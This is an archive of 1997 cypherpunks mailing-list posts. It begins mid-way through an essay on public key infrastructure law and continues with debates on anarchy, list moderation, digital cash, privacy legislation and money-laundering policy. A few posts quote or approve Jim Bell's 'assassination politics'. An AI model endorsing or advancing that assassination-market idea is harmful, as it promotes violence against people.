flaw cannot be addressed by other, less intrusive means.   Does this
sort of dynamic exist with CAs?  Would consumers be able to make
informed, rational choices between CAs?  Could an incompetent CA cause
irreparable harm?  Could other types of regulation address any relevant
market flaws?  If unlicensed practitioners are allowed to exist, subject
to different liability rules, how will this affect the CA market?

4.	Should legislation endorse public key cryptography, or be
"technology neutral"?

	Most of the digital signature legislation to date has focused
specifically on digital signatures created using public key
cryptography.  Some legislation has also addressed the issue of
"electronic signatures" -- other, non-public key methods of
authenticating digital transmissions. Proponents of biometric
authentication methods argue that it is foolish to legislatively
enshrine public key cryptography as the only technology capable of
authenticating an electronic document. They argue that biometric methods
can currently accomplish many of the same goals as digital signatures;
they further argue that by precluding other technologies future
innovations will be discouraged.  They also note that public key
cryptography can only be implemented using patents owned by a limited
number of commercial entities, and question whether it is wise public
policy to legislatively tie electronic commerce so closely to the
interests of a few private sector actors.

5.	Should legislation endorse the X.509 paradigm?

	When the Utah Act was enacted, it explicitly endorsed the X.509
infrastructure model. Subsequent laws have dropped the explicit
endorsement of X.509, but nonetheless remain true to the X.509 paradigm.
 Under most digital signature legislation, certificates serve to bind an
individual's *identity* to a particular public key.  This binding is
accomplished in the context of a rigid, hierarchical CA infrastructure. 
This model has been criticized for two main reasons: global CA
hierarchies are almost certainly unworkable, and identity certificates
often provide too much information -- frequently an "attribute" or
"authority" certificate will do.  Alternative certificate formats, such
as SDSI and SPKI, have emerged in response to these and other perceived
flaws with the X.509 model.  However, it is not clear that these
alternative certificate formats can be accommodated under current
digital signature legislation.

6.	How should liability and risk be allocated in a PKI?

	Liability allocation promises to be a vexing problem in a PKI.
The liability issue is most dramatic in the context of fraud.  An
impostor can obtain the private encryption key associated with a
particular party and create electronic documents purporting to be from
that party.  A second party may enter into an electronic contract
relying on these ostensibly valid documents, and a loss may occur.  Who
should bear this loss? In the paper world, generally one cannot be bound
by a fraudulent signature.  This principle may not be entirely
appropriate in an electronic context, however.  In a PKI, the integrity
of the infrastructure depends upon the security of private encryption
keys.  If a key holder bears no liability for fraudulent use of that
private key, perhaps he or she  may not have adequate incentive to keep
the private key secure.

	How much liability should the private key holder bear?  Under
the Utah Act and its progeny, an individual who negligently loses
control of their private key will bear unlimited liability. This risk
allocation scheme raises the specter of consumers facing immense losses
-- as one commentator puts it: "Grandma chooses a poor password and
loses her house."  In contrast, consumer liability for negligent
disclosure of a credit card number is generally limited to $50.  If
consumer liability were similarly limited in a PKI, where would the risk
of loss fall?  If CAs had to act as an insurer in all transactions, the
price of certificates would likely be extraordinarily high.  If relying
third parties faced the risk that ostensibly valid documents may in fact
be forgeries and bear any resulting loss, then some benefits of a PKI
are lost. 

7.	What mechanisms should be used to allocate risk?

	Currently at least one commercial certification authority,
VeriSign,  is attempting to allocate risk to both certificate subjects
and relying third parties by contract.  VeriSign includes significant
warranty disclaimers, liability limitations, and indemnification
provisions in its Certification Practices Statement (CPS).  Certificate
applicants agree to be bound by the CPS when obtaining a certificate. 
VeriSign's web page informs relying third parties that the act of
verifying a certificate or checking a certificate revocation list
indicates agreement to the terms of the CPS.  However, it is not clear
that a binding contract can be formed with relying third parties in this
fashion.  Thus the relationship between VeriSign and relying parties may
not be governed by the CPS at all, but instead be subject to default
contract and tort rules (which would be less favorable to VeriSign). As
a policy matter, should CAs be able to form contracts with relying third
parties, despite their rather attenuated connection?  If relying parties
will be bound by unilateral contracts imposed by CAs, they face
significant transaction costs involved with determining the contract
terms offered by potentially numerous CAs.  If CAs cannot scale their
potential liability exposure to third parties by contract, however, it
may be impossible for CAs to compete on warranty terms -- and presumably
such terms would otherwise be the subject of significant competition.

8.	Should digitally-signed documents be considered "writings" for
all legal purposes?

	The Utah Act and most other digital signature laws provide that
digitally signed documents have the same legal effect as writings. 
Critics have noted that while most of the functions or goals of writing
requirements may be served by electronic documents, this may not be true
in all instances.  For example, the law often requires a written
instrument to effect notice -- i.e., to alert an individual that a lien
has been filed on their property.  It is not clear that a digitally
signed electronic message would achieve the same effect.  Additionally,
there are other contexts -- such as wills or adoption papers -- where
paper documents may prove more effective than electronic documents. 
Moreover some paper documents (such as bank drafts or warehouse
receipts) are negotiable instruments, and this negotiable character
depends upon the existence of a single, irreproducible copy of the
document.  Thus, critics say, digital signature legislation should not
override all writing requirements without separately considering the
extent to which sound policy might require retention in specific
circumstances.

9.	How much evidentiary weight should a digitally-signed document
carry?

	Evidentiary  issues, though seemingly arcane and procedural, can
raise important public policy concerns.  For example, the Utah Act
creates a presumption that the person who owns a particular key pair
used to sign a document in fact did sign the document.  Holding an
individual presumptively bound by obligations entered into under their
digital signature could be inequitable if the individual is the victim
of the fraudulent use of such a signature.  This potential problem can
be compounded by the evidentiary weight assigned to digitally-signed
documents.  Under the Utah Act digitally-signed documents are accorded
the same evidentiary weight as notarized documents, and someone
challenging the authenticity of such a document can overcome the
presumption of authenticity only with "clear and convincing evidence"
(in contrast, one can overcome the presumption of validity of a paper
signature simply by denying that it is one's signature).  Critics of the
Utah Act's approach argue that providing digitally-signed documents with
this status creates unreasonable evidentiary burdens for victims of
fraud challenging the validity of electronic documents signed with the
victim's private key.

10.	Should governments act as CAs?

	Much of the currently enacted digital signature legislation
envisions state government agencies acting as "top level" certification
authorities who in turn certify a second tier of private sector CAs.  At
the federal level, the U.S. Postal Service has declared its intention to
act as a CA on a nationwide basis.  Should governments be acting in this
sort of role?  Critics say no, arguing that government involvement will
skew an emerging private sector CA marketplace.  Government actors may
face very different liability rules than private sector market
participants -- governments can choose to scale their potential
liability exposure through the doctrine of sovereign immunity. Thus,
critics argue, government CAs may "win" in the marketplace not because
they are more efficient or provide better service, but rather because
they can stack the rules in their favor. Proponents of government
involvement argue that governments can play an important role precisely
because they can create sensible ground rules for all PKI participants. 
Additionally, they note that governments have existing relationships
with all of their citizens, making the process of identification and
public key binding that much easier.

----------------------------------------------------------------------------
--------------

* Brad Biddle is the author of "Misplaced Priorities: The Utah Digital
Signature Act and Liability Allocation in a Public Key Infrastructure,"
which appears in Volume 33 of the San Diego Law Review, and serves as
Vice Chair of the Electronic Commerce Subcommittee of the American Bar
Association's Committee on the Law of Commerce in Cyberspace.  He is a
third-year law student at the University of San Diego and is a law clerk
in Cooley Godward LLP's San Diego office, where he served on the legal
team advising the Internet Law and Policy Forum's Working Group on
Certification Authority Practices.  He can be contacted by phone at
(619) 550-6301 or by e-mail at biddlecb@cooley.com.

_________________________________________________

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Most obscure warning:
If you fork() without ever waiting on your children, you will accumulate
zombies.
-PERLFUNC man page






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 06:56:02 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702061456.GAA24464@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970204:2343 jim bell <jimbell@pacifier.com> said:
> +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> +>    In a "popular" anarchy, Jim Bell's assassination politics make
> +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

> +I guess I don't understand the distinction you are trying to make,
> +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
> +to distinguish  between "dictatorship of the few (or one)" and
> +"dictatorship of the many (perhaps a  majority)" but it didn't come out
> +very understandably. Put simply, "anarchy is not the lack of order.
> +It is the lack of _orders_."

>     disagree. pure anarchy is not the lack of "orders" --pure anarchy
>     implies that everyone is imbued with that perfect sense of responsibility.

I don't know where these implications come from. Start with a primitive
example, such as animals in the wild.  Is that a perfect anarchy?
Where do the differences come in for humans?  Are they neo-religious
perceptions, which could never find universal agreement?  Or are they
set in stone, in immutable, universal laws?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 5 Feb 1997 21:40:45 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
Message-ID: <199702060540.VAA13750@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Heh. On the ISP-TV show that Brock Meeks and I co-host, two weeks ago we
not only described how easy it was to modify a handheld radio, we had a
guest who demo'd cell-snooping on the air.

-Declan

On Wed, 5 Feb 1997, Bovine Remailer wrote:

> http://www.cnn.com
> 
> Congressman demonstrates
> ease of cell phone snooping
> 
>      
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 6 Feb 1997 07:11:16 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
Message-ID: <199702061511.HAA24942@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

>In the meantime, if you're interested in e$, or financial crypto, or other
>stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
>:-)), you might want to check it.

I think that Bob's e$ list should be considered a viable alternative to the
other two filtered cpunks lists; I recommend it to people looking for a
moderated alternative to the list. (I get e$, but use Eudora and procmail to
suck out the duplicates where messages are copied from lists I already get.)
He also finds a lot of the stuff that used to show up on cpunks but doesn't
any more because people have wandered away.

I've been meaning to write up a long message explaining why I think I'm about
to drop off of the list. It's peculiar to spend a lot of time discussing
things with a group of people over the course of several years and then
disappear without saying why. But I'm having trouble coming up with anything
more profound than "it's not interesting any more." Philosophically, I agree
with Lucky - it looks to me like it's time to kill the list and move on to
other things. But that's not my choice to make, and perhaps other people can
still extract something useful from this. More power to them if they can.

I'm starting to think that cpunks may be similar to college, in that it's a
good thing for a few years, but if you stick around too long you just get
bitter and cranky and frustrated because the new people keep talking about
the same old problems. Don't they know we've already talked about that? 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvmSHP37pMWUJFlhAQGu3Qf/WTpImfcNb4883V2h/JHKsZh1hWR+hrSH
e7hgtUAujphktzteZi6NqC47QEQHRIbgT/SRHelDB4lJLPv3TtIN09ZUwK6GWb/F
QfmoyPXBVfM5Pt/FqPqtPpXnehC7r71SO0jQ2qKqTrhcuSDYNmOjtCrjK/BIEJ7l
mMYcxY7JKBq0H8u1BNzZaMfCkEvDytUejgsevusWGGfkwodUSTon81Kbxmy7Yg2w
3vOmESgMz2Vm2av2bHTYBy3CSy3JzB8m2OPQo+Wang6WJDfvJaDaALGuHgem8PH8
0jCjBww2vEOJ0xj62oQ/mD2heEe+TZZnDZ5ZRynID1wOOm7SOOOeAg==
=+SRl
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 6 Feb 1997 06:56:06 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702061456.GAA24469@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
> >+   Is the desire for an anarchic community at odds with a desire for 
> >+   good use of resources?
> Actually, it is quite possible that an "anarchic community" is _more_ 
> efficient in the use of resources than some sort of organized community.    
> It is explained, for example, that the reason there are so many different 
> kinds of life on earth is that there are so many ecological niches to fill.  

     Good does not necessarily mean efficient, and efficient does not
necessarily mean good. 

    Picture--if you can--the "perfect" centrally planned economy where all
possible market conditions, wants and needs are taken into account. Factories
are placed optimally for access to natural resources and distribution to 
consumers etc. Also assume that the people running this society _are_ intersted
in efficient production methods, and activly look for new and better ways of 
getting things done--benign facism/socialism if you will. This would (assuming 
perfect people, but bear with me) be the _most efficient_ method of producing 
and delivering goods, but it would introduce certain "choke points", one 
natural disaster or war could cripple production of necessary items. 

    Picture anarchy, massively redundant, and resistent to this problem, while
probably not anywhere _near_ as efficient, this "system" would have the ability
to absorb damage and adapt more rapidly to changing enviroments. 

> No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
> believed (as "everyone" else believed, even myself, before AP) that anarchy 
> was inherently unstable.  But it ISN'T, if the tools of AP are used to 

     Stable is a relative thing. Are things stable now? If you think so, you
either aren't looking very hard, or you are giving "stable" a wide range.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WIZZYH2H@aol.com
Date: Thu, 6 Feb 1997 06:55:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tapping these resources.
Message-ID: <199702061455.GAA24445@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I noticed that there are several programs that will let anyone send encrypted
email.

What about encrypted messages over a chat system like irc, chat rooms(aol,
BBS) and systemwide messages (IM, whisper, private message)?

The server wouldn't have to do anything except send the messages, the users
software could handel all the protocols and message identification.  Dialup
and logon features aren't needed either, allmost all cilents will let you
shell.

I have been looking for, and tring to write a program to do this, but Im a
rookie programmer and my attempts have yet to produce a functional
send/receive utility.

Where are programs like this.. are there any to be found? 

wizzyh2h@aol.com   OR     wizzy@juno.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 07:00:11 -0800 (PST)
To: phr@netcom.com
Subject: Re: sci.crypt archive?
Message-ID: <199702111500.HAA20737@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Rubin <phr@netcom.com> writes:
> Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
> in getting hold of some articles from some years back... thanks

There is some one who archives it, it's up for ftp.  Look in the
sci.crypt FAQ, or do a web search to find the URL.  I grabbed a copy
for Remo Pini for the crypto CD, but I've lost the URL.

The Crypto CD (I have one) has Jan 92 to Sep 94 (articles 6871 to
32742) on it.  See http://www.rpini.com/ if you're interested.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 07:55:51 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
Message-ID: <199702061555.HAA25512@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more." Philosophically, I agree
> with Lucky - it looks to me like it's time to kill the list and move on to
> other things. But that's not my choice to make, and perhaps other people can
> still extract something useful from this. More power to them if they can.
> I'm starting to think that cpunks may be similar to college, in that it's a
> good thing for a few years, but if you stick around too long you just get
> bitter and cranky and frustrated because the new people keep talking about
> the same old problems. Don't they know we've already talked about that?

But college continues because it wasn't designed for just one group
of people of one time period.  It was designed for everyone, and to
evolve to meet future need. If the c-punks list were to survive, it
too would have to evolve to meet future needs, and that evolution
would be sure to disappoint a lot of the older crowd.

The big difference here is that college is far from cutting edge in
anything, and the list is (or could be) cutting edge.  But nearly
everyone so far has acknowledged that, despite improvement in signal-
to-noise on the moderated list, the factor of external control has
also removed much of what was interesting.  Remove the control and
incorporate the best of the suggestions that have been made so far,
and some of that interest may return.  Perhaps more importantly, if
the principals could see their way to mend some fences along the way,
that would restore even more confidence in the list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl4.crl.com>
Date: Thu, 6 Feb 1997 07:55:46 -0800 (PST)
To: Ben <ben@EdelWeb.fr>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702061555.HAA25504@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Ben wrote:

> > > > User of the list, has no place to talk. His type, to me,
> > > > Characterate those who quit something and complain later,
> > > > Knowing that some people will listen to them.
> > > >
> > > > So what, if he decided to leave? It was his own choice
> > > > And he can't just come back and say everyone who stayed is
> > > > Now impelled to listen to him, just because he used to
> > > > Do a bunch of posts. I don't think that hardly any of
> > > > You would listened to me later if I left the list.
> > 
> >  I write good englich, but I write it verticaly, not horizontaly.
> > Try reading the above up-to-down, just the first letters of
> > each line.
> >  It may be kindegarten crypto, but it made it onto the censored
> > list.

Touche!  


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 08:10:45 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: [RRE FWD] PKI: 10 Public Policy Questions
Message-ID: <199702061610.IAA25713@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For a more, um, nuanced view see
http://www.law.miami.edu/~froomkin/articles/trusted.htm

==
The above may have been dictated via Dragon Dictate 2.51 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 6 Feb 1997 11:15:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOW_ire
Message-ID: <199702061915.LAA28279@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-5-97:

"FCC Bandwidth Forum Panelist Says Wireless Is Potential
'Wild Card' in Planning for Future Broadband Access"

   Suggests that wireless is the better than wire, cable, or satellite
   for future communications by bypassing their technological and 
   environmental limitations.

"GTE Wireless Launches Long-Anticipated CS-CDPD Service; Other
Cellular Carriers Continue to Reject Hybrid Approach"

   A variation from CDMA and TDMA.

-----

NOW_ire

And the FCC Broadband Forum report cited in the first article at:

   http://jya.com/fcc970123.htm  (322K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Thu, 6 Feb 1997 07:10:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: pgpmail 4.5
Message-ID: <199702061510.HAA24879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer sez:

: you wrote:

: There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
: The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

: i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
: can someone clear this up?

[usura@basement]:/pub/ftp/pub/crypto/incoming {22}$ md5 pgpmail45.exe
5ea438501d0133f0849c2fe8f9125b6b pgpmail45.exe 

--
-AJ-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 6 Feb 1997 11:21:17 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702061921.LAA28329@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



	I'd just appreciate it if someone would explain to me just why
I'm being completely censored from the cypherpunks list.  I accept
that I have no right to be carried by toad.com, but I'd appreciate the
courtesy of at least a response to my request for an explanation.
Absolutely none of my recent postings are even going to
cypherpunks-unedited, I've received no response to my mail to
gnu@toad.com asking why, and I've received absolutely no bounces
indicating that there are delivery problems.  Given that my subscribe
requests for cypherpunks-unedited and cypherpunks-flames succeeded, I
think I can discount delivery problems, so I have to wonder - how many
other people are being completely blocked from any of the cypherpunks
lists hosted on toad.com?

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Thu, 6 Feb 1997 11:15:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: True story, Fly the Obsfucted Skies (fwd)
Message-ID: <199702061915.LAA28280@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


---------- Forwarded message ----------
Date: Thu, 6 Feb 1997 00:18:18 -0500
From: Salvatore Denaro <sal@panix.com>
To: 'Ray Arachelian' <ray@earthweb.com>
Subject: True story, Fly the Obsfucted Skies

I was at the airport, checking in at the gate. An airport employee
asked me (and I quote)

 "Has anyone put anything in your baggage without your knowledge?"

I thought about it. I scratched my goatee. I said:

 "If it was without *my* knowledge... how would *I* know about it?"

He smiled. He nodded his head, knowingly. He then gave me this cryptic
reply,

 "That's why we ask."

-- 
Salvatore Denaro     "The only difference between me and a madman
sal@panix.com         is that I am not mad." -- Salvador Dali






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Lehmann (SSASyd) <LEHMANNJ@saatchi.com.au>
Date: Wed, 5 Feb 1997 17:38:50 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: British export restrictions?
Message-ID: <199702060138.RAA08849@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Anyone know how the British govt. falls on crypto export legislation?

 --
John Lehmann






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 11:22:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702061922.LAA28377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This attempted legislation (see forward, below) is a blessing in disguise.

It's just more proof that book-entry commerce isn't going to work on the
net in the long run.

SET looks like it's having problems with Japanese commerce rules, which is
another example of this problem.

Cash settlement between blinded pseudonyms fixes all of these problems.

I like to joke that if digital commerce is flight, then book entry
settlement is Boyle's Law, and cryptography is Bernoulli's law, viz,

+  Sending a credit card in the clear is jumping off a cliff. The height of
the cliff you jump off is related to the number of times you send an
unencrypted credit card number and the amount you charge.  Credit card
companies aren't going to be guaranteeing all those trades much longer if
they lose too much money.

+  First Virtual is a tethered balloon. You're up in the air, but you don't
know what for, because all the action is happening on the ground. ;-).

+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
methods, is a derigeble. You're flying, but you're using minimally strong
crypto like little aerodynamic fins to push the giant gas bag of book-entry
settlement around.

+  Digital bearer certificate technology, like ecash, or MicroMint, or
Millicent, is an airplane. It "flys" with "wings" of strong cryptography,
which gives us reputation capital and enforcement, and instantly settled
microintermediated transactions. Thus, like aerodynamic flight, it will be
faster, cheaper, and easier to use than book-entry "derigible" transaction
methods.


Cheers,
Bob Hettinga



--- begin forwarded text


Date:         Thu, 6 Feb 1997 11:24:09 EST
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)
Comments: To: wwwac@echonyc.com, noend@laguna.taos.com, isales@mmgco.com,
          imarcom@internet.com
To:           CYBERIA-L@LISTSERV.AOL.COM

Sorry for the crossposting, but I felt this one might be important enough
to do it.  The following is a shortened version of an article I've written
for my firm's client newsletter about H.R. 98, the "Consumer Internet
Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
January 7, 1997.  As the article describes, if the bill were enacted as
drafted, Internet commerce could conceivably be stopped dead in its tracks,
along with most of the reduced-fee-for-demographics online services.
Privacy is quite important, and many of us have worked and are working
extremely hard to protect privacy appropriately while still providing
convenient services to users, but this bill is way beyond a reasonable
approach.  I haven't seen much discussion about this bill, but it's now in
committee, and the time to act may be upon us.  Feel free to
e-mail/call/fax/talk to me with any further questions.  I look forward to
your feedback.  {Jonathan}

Jonathan I. Ezor
New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com


-----------------------------Cut here-------------------------------

Congress Tackles Internet Privacy


        Recently, there has been significant press coverage over real and
rumored revelations of personal information such as Social Security numbers by
online services, including the alleged availability (later shown to be untrue)
of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
and various governmental bodies have held hearings on issues of online privacy.
On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
provides that "an interactive computer service shall not disclose to a third
party any personally identifiable information provided by a subscriber to such
service without the subscriber's prior informed written consent."  It requires
online services to provide an express opt-out for subscribers at any time,
prohibits services from knowingly distributing false information about users,
and also mandates giving subscribers access to the information maintained about
them for review, updates and corrections, as well as the identity of the party
receiving the information, at no charge.  The bill authorizes the Federal Trade
Commission to "to examine and investigate an interactive computer service to
determine whether such service has been or is engaged in any act or practice
prohibited by this Act," and to issue a cease and desist order.  Notably, it
also provides that an individual may sue the violator directly without
having to
go through the FTC.

        As a general matter, this bill enacts the practice of many online
services and sites, and the position of most self-regulatory industry
groups, by
asking consent before revealing personally-identifiable information.  But the
bill goes well beyond the ordinary industry practice by requiring "prior
informed written consent," which is defined in this bill as "a statement--

                (A) in writing and freely signed by a subscriber;

                (B) consenting to the disclosures such service will make of the
information provided; and

                (C) describing the rights of the subscriber under this Act."

What this could conceivably mean is that services which have all of their
registration online may be unable to fulfill this requirement.

        Additionally, the bill is unclear about which online services will be
subject to its provisions.  It defines "interactive computer service" as "any
information service that provides computer access to multiple users via
modem to
the Internet."  This certainly covers dedicated Internet service providers
(ISP's) and combination proprietary/Internet services like America Online and
MSN.  The bill may also cover services which depend on their ability to reveal
certain information to advertisers in exchange for offering free Internet
e-mail
to their users.  Beyond that, purely Web-based services may fall into the
purview of this bill, depending on whether providing access via modem requires
that the modem dial directly into the service in question or not.

        Theoretically, this bill could even prevent online purchases absent a
signed authorization form from each purchaser, because a service would have to
reveal the name and address of the purchaser to the seller in order for the
goods to be delivered.  Even more troubling, the bill does not even provide an
exception for information shared between a service owner and the company owning
the computer hosting the service, regardless of whether there is a contractual
obligation for confidentiality, since the hosting company has access to the
information collected by the service about its users.

        As with other bills of this type, it is important for any company
intending to offer Internet-related services to individuals to follow and
perhaps attempt to affect the path of the Consumer Internet Privacy Protection
Act of 1997, since it could have significant impact on planned services,
revenue
sources and per-subscriber costs.  For those interested in forestalling this
type of governmental action, the best response may be to accelerate
self-regulatory initiatives to deal with the valid concerns of consumers
who may
be providing information about themselves and their buying habits, either
in the
process of registration or while using the service.  At the same time, the
self-regulatory bodies can create rules based on the actual business practices
and realities of their members, rather than drafting with a broad brush as
Congress does in so many instances.  If companies are going to be able to take
the greatest economic advantage of the interactivity of the Internet as opposed
to traditional broadcast and print media, there needs to be some way of legally
and ethically utilizing information provided by subscribers in order both to
enhance the subscribers' experience and to gain revenue through appropriate
business relationships with advertisers, retailers, and others who may wish
access to consumers.

Copyright 1997 Jonathan I. Ezor, Davis & Gilbert.  All rights reserved.

Jonathan I. Ezor is an attorney with Davis & Gilbert in New York City,
practicing new media and computer law, focusing on the advertising
industry.  Mr. Ezor can be reached at jezor@newmedialaw.com.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Thu, 6 Feb 1997 11:22:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <199702061922.LAA28357@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Big brother, Morris, at FinCEN sees a criminal behind every cyber
dollar.  The sky is falling, the sky is falling, it's raining cyber
cash!

Artilce follows :)
******************

=09=09_G7 groups frets over electronic money laundering_

Copyright =A9 1997 Nando.net
Copyright =A9 1997 Agence France-Presse=20

PARIS (Feb 6, 1997 11:30 a.m. EST) - Money-laundering fighters from key
industrial countries and leading
Asian financial centers are looking into ways of countering use of the
Internet and "smart cards" to clear
proceeds from criminal activities, officials said Thursday.

The Financial Action Task Force (FATF), set up following a Group of
Seven initiative at their l989 summit, called
in a lengthy report for closer cooperation and coordinated efforts to
fight money laundering, especially in
regard to new electronic payments technologies.

The report noted that these technologies were still "in their infancy"
and said it was "premature to consider
prescriptive solutions to theoretical problems."

But Stanley Morris of the United States Treasury, who chaired a FAFT
working group which drafted the report,
told a news conference that law enforcement agencies would face 'very
major new challenges' if new
